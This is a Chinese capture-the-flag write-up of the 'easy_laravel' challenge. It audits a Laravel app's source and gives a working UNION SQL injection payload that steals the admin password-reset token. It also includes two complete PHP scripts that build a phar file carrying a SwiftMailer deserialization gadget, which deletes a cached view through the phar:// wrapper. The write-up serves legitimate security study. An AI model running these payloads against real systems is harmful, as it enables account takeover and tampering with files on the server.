XCTF_easylaravel

首先关于Laravel:重置密码 - Laravel 5.4 - Web Artisans 的 PHP 框架

先登录网站,登录注册什么的功能都有,扫描目录的时候看一下网页代码,发现是个代码审计题:

image-20240919173106932

后续路径扫描找到了一个upload,但是没什么用上不去。

下载源码看一下,发现有composer.json,于是composer install一下

看一下路由:

image-20240920144548472

发现有一个flag路由,跟进一下

image-20240920144659024

发现使用了中间件,一个是要身份验证,还有一个应该是要管理员身份才能拿到flag,那看一下中间件怎么控制的。

没直接找到名字为admin的中间件,在Kernel.php看一下注册的名字关联:

image-20240921102453222

查看这个中间件代码,发现需要账户的邮箱为指定的管理员邮箱:

image-20240921102536398

看一下用户注册的代码RegisterController.php,邮箱无法重复使用:

image-20240921103133065

看一下密码重置:

image-20240921103358206

使用的是原生的重置方法,去官方文档看一下:

image-20240921105803513

如果配置了密码重置自定义过程会配置代理,看一下有没有代理,全局搜索发现有easy_laravel-master\vendor\laravel\framework\src\Illuminate\Auth\Passwords\PasswordBroker.php

image-20240921110901655

发送重置连接会创建一个token,根据官方文档,提供了储存token的数据库:

image-20240921111104470

==》

image-20240921111146391

得到了表名和列名,需要找一下有无sql注入,网页比较少我们只看了flag的控制器,看一下剩下的:(这里其实普通用户登录后只有一个note界面也能联想到看note的控制器和渲染页面)

发先note里真有sql:

image-20240921111419255

注入点是username,先用order判断列数为5,再看回显位置为第2列

根据之前的发现,需要先去点一下发送链接等系统创建token,接着注入

water3' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5--

image-20240921112242050

拿token去修改密码登录admin

image-20240921112414932

flag为空,这里我看源码没有问题但是不知道为什么不显示,看到upload知道应该要做文件上传,但是这里依然很疑惑

先看下文件上传控制器:

image-20240921112849500

这里设置文件后缀的检测,并且给了文件存储位置,但是访问不了,好像无法利用?再看下框架:

image-20240921121600020

搜索一下相关漏洞,有一个CVE-2021-3129,但是需要Ignition组件,这里并没有安装这个组件。

到这里实在没什么办法了,去看一下其他师傅的做法

护网杯-easy laravel-Writeup | venenof7’s blog

护网杯easy laravel ——Web菜鸡的详细复盘学习-腾讯云开发者社区-腾讯云 (tencent.com)

护网杯2018 easy_laravel writeup与记录 - 先知社区 (aliyun.com)

得知了无法显示flag的原因:

直接访问会发现页面提示 no flag,这里页面内容不一致,在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views 中,而编译后的文件存在过期的判断。

Illuminate/View/Compilers/Compiler.php 中可以看到

/**
 * Determine if the view at the given path is expired.
 *
 * @param  string  $path
 * @return bool
 */
public function isExpired($path)
{
    $compiled = $this->getCompiledPath($path);

    // If the compiled file doesn't exist we will indicate that the view is expired
    // so that it can be re-compiled. Else, we will verify the last modification
    // of the views is less than the modification times of the compiled views.
    if (! $this->files->exists($compiled)) {
        return true;
    }

    $lastModified = $this->files->lastModified($path);

    return $lastModified >= $this->files->lastModified($compiled);
}
而过期时间是依据文件的最后修改时间来判断的,所以判断服务器上编译后的文件最后修改时间大于原本模板文件,那么怎么去删除(修改)编译后的文件?

大概就是说Laravel的模版缓存没有更新,我们要进去把他删除掉让他重新渲染出有flag的页面。

这里的漏洞是是 file_exists 中的参数完全可控,所以可以使用 phar:// 协议来触发一次反序列化操作,先了解一下phar://

在之前只知道这是个php伪协议,由于用得不多所以掌握得不是很好

文件包含之——phar伪协议_phar协议-CSDN博客

phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

……..

总结
phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马shell。php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/abc18964814133/article/details/124664538

反序列化删除文件,那么需要先找一个能删除文件的方法,并且包含在魔法函数中:

PHP 删除文件、文件夹方式-CSDN博客

主要是unlink()和rmdir()两个函数,先全局搜索一下unink(:

最终发现有一个析构函数中包含了unlink:Swift_ByteStream_TemporaryFileByteStream

image-20240921130237424

==>

<?php

/*
* This file is part of SwiftMailer.
* (c) 2004-2009 Chris Corbyn
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/

/**
 * @author Romain-Geissler
 */
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
    public function __construct()
    {
        $filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');

        if ($filePath === false) {
            throw new Swift_IoException('Failed to retrieve temporary file name.');
        }

        parent::__construct($filePath, true);
    }

    public function getContent()
    {
        if (($content = file_get_contents($this->getPath())) === false) {
            throw new Swift_IoException('Failed to get temporary file content.');
        }

        return $content;
    }

    public function __destruct()
    {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}

最后结尾部分,描述得最清楚得是这个:

18年护网杯 Easy Laravel Writeup_writeup 模板-CSDN博客

由于对于反序列化不是很了解,这里大概有两种payload:

一种是护网杯easy laravel ——Web菜鸡的详细复盘学习-腾讯云开发者社区-腾讯云 (tencent.com)

//完整脚本
 <?php
     include('autoload.php');
     $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
     $a = preg_replace('/C:.*tmp/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
     $a = str_replace('s:45', 's:90', $a);
     var_dump(unserialize($a));
     $b = unserialize($a);
     $p = new Phar('./exp.phar', 0);
     $p->startBuffering();
     $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
     $p->setMetadata($b);
     $p->addFromString('test.txt','text');
     $p->stopBuffering();
 ?>

构造post参数调用phar://协议

读源码可以找到上传路径/storage/app/public

//app\Http\Controllers\UploadController.php
 class UploadController extends Controller
 {
     public function __construct()
     {
         $this->middleware(['auth', 'admin']);
         $this->path = storage_path('app/public');
     }

又因为nginx是默认配置所以完整路径是/usr/share/nginx/html/storage/app/public

check时抓包会发现只有file参数不过源码里面可以看见其实还隐含了path参数

//\app\Http\Controllers\UploadController.php
 $path = $request->input('path', $this->path);
         $filename = $request->input('filename', null);
         if($filename){
             if(!file_exists($path . $filename)){

加入path参数拼接直接使用phar伪协议访问了exp.gif

属于是手动替换原始反序列化的参数

另一种18年护网杯 Easy Laravel Writeup_writeup 模板-CSDN博客

<?php
abstract class Swift_ByteStream_AbstractFilterableInputStream
{
    /**
     * Write sequence.
     */
    protected $_sequence = 0;
 
    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $_filters = array();
 
    /**
     * A buffer for writing.
     */
    private $_writeBuffer = '';
 
    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $_mirrors = array();
 
}
 
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
{
    /** The internal pointer offset */
    private $_offset = 0;
 
    /** The path to the file */
    private $_path;
 
    /** The mode this file is opened in for writing */
    private $_mode;
 
    /** A lazy-loaded resource handle for reading the file */
    private $_reader;
 
    /** A lazy-loaded resource handle for writing the file */
    private $_writer;
 
    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;
 
    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;
 
    public function __construct($path, $writable = false) {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';
 
        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }
 
    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }
 
}
 
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
    public function __construct()
    {
        $filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";
 
        parent::__construct($filePath, true);
    }
    public function __destruct()
    {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
 
 
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
?>

直接使用继承,个人更推荐后一种,防止手动计算链子的时候出错。

上岸之后直接放飞自我了,现在开始工作了又继续学习渗透,目前属于是卡住了不知道怎么提升,一个是手生了之前写的都觉得陌生,一个是对于接下来学什么没有明确的方向感,打算先在空余时间学习一下靶场里的困难题,学习一下各种思路什么的。